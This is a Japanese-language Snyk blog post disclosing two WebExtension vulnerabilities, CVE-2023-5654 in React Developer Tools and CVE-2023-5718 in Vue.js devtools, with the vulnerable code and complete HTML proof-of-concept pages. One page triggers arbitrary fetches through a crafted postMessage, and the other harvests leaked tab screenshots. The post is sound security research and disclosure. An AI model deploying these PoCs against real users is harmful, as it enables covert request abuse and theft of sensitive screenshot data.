Skip to main content

React Developer ToolsとVue.js devtoolsにおけるWebExtensionのセキュリティ脆弱性を探る

著者
Headshot of Calum Hutton

Calum Hutton

blog feature toolkit

2023年11月27日

0 分で読めます

Snykのセキュリティリサーチャーは、WebExtensionに伴うリスクをより深く理解するため、広く知られているリスク(XSSやコードインジェクションなど)と、WebExtension特有のリスクの両方を調査しました。この調査で、人気のブラウザー拡張機能であるReact Developer ToolsとVue.js devtoolsに脆弱性を発見し、開示しました。この記事では、WebExtensionの技術を紹介し、特定された脆弱性について詳しく見ていきます。

WebExtensionの簡単な歴史

WebExtensionは、Firefox、Chromeなどのブラウザーで動作する拡張機能を開発できるブラウザー拡張APIです。もともとはChromeが開発し、Firefoxが従来の拡張APIであるXULとXPCOMのサポートを終了した後、2017年に採用しました。従来のAPIは高機能でしたが、安全性が低く、保守も困難でした。こうした事情が、FirefoxチームがWebExtensionのサポートに切り替えた主な理由です。

このため、WebExtensionのエコシステムは調査対象として特に興味深いものです。単一の拡張機能で脆弱性が見つかるだけで、異なるブラウザーを使う多数のユーザーに影響する可能性があります。

WebExtensionのアーキテクチャ

WebExtensionは、メッセージを介して相互にやり取りする複数のコンポーネントで構成されます。拡張機能のコンポーネントごとに利用できるAPIは異なります。特権APIを分離することは、WebExtensionのセキュリティを高めるために採用された設計の一つです。

  • 機密性の高いAPIにアクセスできるのはバックグラウンドページのみで、ページのコンテンツやDOMに直接アクセスすることはできません。

  • コンテンツスクリプトはページのコンテンツにアクセスできますが、利用できるAPIは限られています。manifest.jsonファイルでは、拡張機能のコンポーネントや必要な権限のほか、その他のメタデータを定義します。

manifest.jsonからブラウザー拡張機能の各コンポーネント(バックグラウンドページ、コンテンツスクリプト、ブラウザーアクションとページアクション、オプションページ、Webアクセス)へのつながりを示す図

WebExtensionに潜むリスク

WebExtensionはセキュリティを高めるため、XULやXPCOMより意図的に機能を制限しています。APIも制約されており、拡張機能やブラウザーの完全性を誤って損なう可能性も低くなっています。しかし、XSSやコードインジェクションなど、使用される技術には固有のリスクがあります。そこで私たちは、WebExtension特有のリスクに注目し、次の3つの領域を調査しました。

  1. 検証されていない外部メッセージ - 外部メッセージ(ブラウザーや別の拡張機能から送られるメッセージ)の送信元が検証されていない場合、悪意のある攻撃者が拡張機能内で不正な操作を実行する可能性があります。

  2. 検証されていない外部メッセージの転送 - 前述の問題に加えて、検証されていない外部メッセージがバックグラウンドページに渡されることで、特権APIへの間接的なアクセスを許してしまう可能性があります。

  3. ページキャプチャAPIへの不正アクセス - 一部のAPIは、タブのスクリーンショットをBase64エンコードされたデータとして呼び出し元に返します。悪意のある攻撃者がこのデータにアクセスできれば、機密情報を盗み出す可能性があります。

データセットの作成

WebExtensionを大規模に調査するため、MozillaアドオンのウェブサイトからWebExtensionのソースコード(JavaScript、HTML、CSSの混在)を入手することにしました。スクリプトを使って、人気上位150件のFirefox拡張機能をダウンロードしました。拡張機能のパッケージには.xpiという拡張子が付いていますが、実際には圧縮アーカイブにすぎません。必要に応じて解凍し、整形できます(実際、多くの場合にその作業が必要でした)。

調査結果

React Developer Tools v4.27.8(CVE-2023-5654)

このReact Developer Tools拡張機能は、ブラウザーでアクティブな任意のウェブページからアクセスできるコンテンツスクリプト内で、window.addEventListener('message', <listener>)を使ってメッセージリスナーを登録しています。このリスナーには、受信したメッセージから導き出したURLをfetch()で取得するコードがあります。取得前にURLの検証や無害化が行われないため、悪意のあるウェブページが被害者のブラウザーを通じて任意のURLを取得できてしまいます。

レスポンスの内容は悪意のあるウェブページに返されないため、この問題の影響は限定的です。つまり、被害者だけがアクセスできる機密リソースを取得することはできません。しかし、この脆弱性は悪意のある攻撃者がクリックを発生させて収益を得るために利用されたり、被害者に知られず、同意も得ないまま、他のブラウザーと組み合わせて分散型サービス拒否(DDoS)攻撃に利用されたりする可能性があります。

コード

以下のコードスニペットは、簡潔にするため一部を省略しています。コンテンツスクリプトのメッセージリスナーが、汚染されている可能性のある受信メッセージからURLを取り出し、その直後に任意のURLをそのままfetch呼び出しに使用する様子を示しています。

window.addEventListener('message', function onMessage({data, source}) {
  if (source !== window || !data) {
    return;
  }
  switch (data.source) {
    ...
    case 'react-devtools-extension':
      if (data.payload?.type === 'fetch-file-with-cache') {
        const url = data.payload.url; // URL from malicious webpage

        ...

        fetch(url, {cache: 'force-cache'}).then( // URL used in fetch
          response => {
            if (response.ok) {
              response
                .text()
                .then(text => resolve(text))
                .catch(error => reject(null));
            } else {
              reject(null);
            }
          },
          error => reject(null),
        );
      }
      break;
    ...

概念実証

以下のPoC Reactアプリケーションでは、標準のpostMessage() APIを使って細工したメッセージを送信し、ボタンのクリック時に上記のswitch文を実行させます。メッセージのsource属性はreact-devtools-extension、typeはfetch-file-with-cacheです。

<!DOCTYPE html>
<html>
<head>
  <script src="https://unpkg.com/react@18/umd/react.development.js" crossorigin></script>
  <script src="https://unpkg.com/react-dom@18/umd/react-dom.development.js" crossorigin></script>
  <script src="https://unpkg.com/@babel/standalone/babel.min.js"></script>
</head>
<body>

<div id="mydiv"></div>

<script type="text/babel">
  function Hello() {
    return <h1>Hello World!</h1>;
  }

  const container = document.getElementById('mydiv');
  const root = ReactDOM.createRoot(container);
  root.render(<Hello />)
</script>

<script>
  function sendBrowserMsg() {
    let msg = {
      source: 'react-devtools-extension',
      payload: {
        type: 'fetch-file-with-cache',
        url: 'https://www.imdb.com'
      }
    }
    console.log(`Sending msg from browser: ${JSON.stringify(msg)}`);
    postMessage(msg, "*");
  }
</script>

<form>
  <button type="button" id="submit" onClick="sendBrowserMsg()">Go!</button>
</form>

</body>
</html>

実際には、悪意のあるウェブページがユーザーの操作を必要とせず、拡張機能に自動的にメッセージを送る可能性があります。この脆弱性は、検証されていない外部メッセージの一例です。

Vue.js devtools v6.5.0(CVE-2023-5718)

このVue.js devtools拡張機能では、標準のpostMessage() APIを介して、スクリーンショットのデータが悪意のあるウェブページに漏えいすることが判明しました。機密性の高いウェブサイトやリソース(ローカルからアクセスできるファイルなど)を対象とするiframeを含む悪意のあるウェブページを作成し、そのページにリスナーを登録すると、拡張機能は機密性の高いウェブサイトやリソースのスクリーンショットをBase64エンコードしたデータを含むメッセージをリスナーに送信します。これはページキャプチャAPIへの不正アクセスの一例です。

スクリーンショットデータを含むメッセージが送信されるのは、対象ユーザーがタイムラインタブのタイムラインバーにカーソルを合わせたときだけだったため、ユーザーによる何らかの操作が必要でした。

マウス、キーボード、コンポーネントのイベントとパフォーマンストラックを表示するVue DevtoolsのTimelineパネルを開いたブラウザ開発者ツール

悪意のあるウェブページが対象にできる機密サイトについては、いくつかの緩和策があります。対象サイトがiframe内への埋め込みを許可している必要があるためです(つまり、X-Frame-Options HTTPレスポンスヘッダーが存在しないか、対象サイトを明示的に許可している必要があります)。しかし、Vue.js devtools拡張機能が有効な別のタブからもスクリーンショットデータが悪意のあるウェブページに漏えいすることが判明し、機密情報が開示される可能性が高まっていました。

コード

以下のコードでは、拡張機能がpostMessage()関数の呼び出しでワイルドカード(*)を使用してウェブページのリスナーにメッセージを送信しています。そのため、別のタブのスクリーンショットデータも漏えいする可能性があります。

const bridge = new Bridge({
  listen (fn) {
    window.addEventListener('message', evt => fn(evt.data))
  },
  send (data) {
    if (process.env.NODE_ENV !== 'production') {
      console.log('%cbackend -> devtools', 'color:#888;', data)
    }
    window.parent.postMessage(data, '*')
  },
})

概念実証

以下のPoC Vue.jsアプリケーションでは、標準のwindow.addEventListener(‘message’ <listener>) APIを使って、悪意のあるウェブページにリスナーを登録しています。setInterval()関数を使い、PoCページ上のクリックを定期的にシミュレートします。これは、ページキャプチャAPIによるスクリーンショットデータの生成を引き起こす、マウスやキーボードなどのイベントです。handleScreenshot()関数は、受信した各メッセージに想定されたパラメーターが含まれているかを確認し、Base64エンコードされたスクリーンショットデータを画像に変換してPoCページに埋め込みます。実際には、Base64データは悪意のある攻撃者に気づかれないように外部送信される可能性があります。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>postMessage() PoC</title>
    <script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
</head>
<body>
    <div id="app">
        <iframe src="https://www.wikipedia.org" style="position:fixed; top:0; left:0; bottom:0; right:0; width:100%; height:100%; border:none; margin:0; padding:0; overflow:hidden;"></iframe>
    </div>
    <script>
        const { createApp, ref } = Vue

        createApp({
            setup() {
                const message = ref('Hello vue!')
                return {
                    message
                }
            }
        }).mount('#app')
    </script>

    <script>
        function dummyClick() {
            console.log('Simulating click on PoC page..')
            document.body.click();
        }

        function listenForMsg() {
            window.addEventListener("message", (msg) => {
                console.log(`Got message in PoC page (window.addEventListener): ${JSON.stringify(msg.data)}, source: ${msg.source.location}`);
                handleScreenshot(msg.data);
            });
            console.log(`Added message listener (window.addEventListener)..`);
        }

        function handleScreenshot(data) {
            if (data.payload && data.payload.length > 0) {
                data.payload.forEach((event) => {
                    if (event.event === 'b:timeline:show-screenshot' && event.payload.screenshot) {
                        console.log(`Got screenshot with id: ${event.payload.screenshot.id}`);
                        let img = new Image();
                        img.src = event.payload.screenshot.image;
                        document.body.append(img);
                    }
                }, null);
            }
        }

        listenForMsg();
        setInterval(dummyClick, 1500);
    </script>
</body>
</html>

WebExtensionのセキュリティを強化する

WebExtensionの潜在的なリスクとメリットを確認し、React Developer ToolsとVue.js devtoolsの脆弱性を具体例とともに紹介しました。これで、セキュリティを損なうことなく、自社アプリケーションへのWebExtension技術の導入を始める準備が整いました。

新たに生じるリスクを常に把握することは、開発チームとセキュリティチームの全員にとって継続的な取り組みです。Snykがその取り組みを支援します。Snykのセキュリティインテリジェンスと開発者向けセキュリティツールを活用すれば、最新の状況を把握し、現在および将来のセキュリティリスクからアプリケーションを守ることができます。詳しくは、今すぐ無料で始めるか、セキュリティの専門家とのデモを予約するをご覧ください。

開発者に愛され、セキュリティチームから信頼される。

Snykの開発者ファーストのツールは、ガバナンスやコンプライアンスのニーズに応える、統合された自動化セキュリティを提供します。

続きを読む

blog feature snyk container custom base recommendations
Blog

Evo Agentic AppSecのご紹介:AI開発のスピードに対応するセキュリティ

AI駆動型開発のスピードに、従来のセキュリティワークフローは追いついていません。SnykのAgentic AppSecは、セキュリティエージェントが脆弱性を継続的に検出、修正、検証し、人が基準を定められるようにします。

blog feature ai violet
Blog

VulnBump:AIエージェントはビルドを壊さずに脆弱な依存関係を修正できるか?

VulnBumpは、実際の依存関係アップグレード307件を対象にAIエージェントをテストします。脆弱性が解消され、ビルドとテストが成功した場合にのみ、修正としてカウントされます。

Blog

フロンティアモデルは脆弱性を発見した。攻撃者だけがエクスプロイトチェーンを見つけた。

静的解析で欠陥は見つかりましたが、ライブ攻撃テストで侵害につながる連鎖を実証できたのは唯一でした。Evo COS、Claude Security、Claude Code Securityを比較します。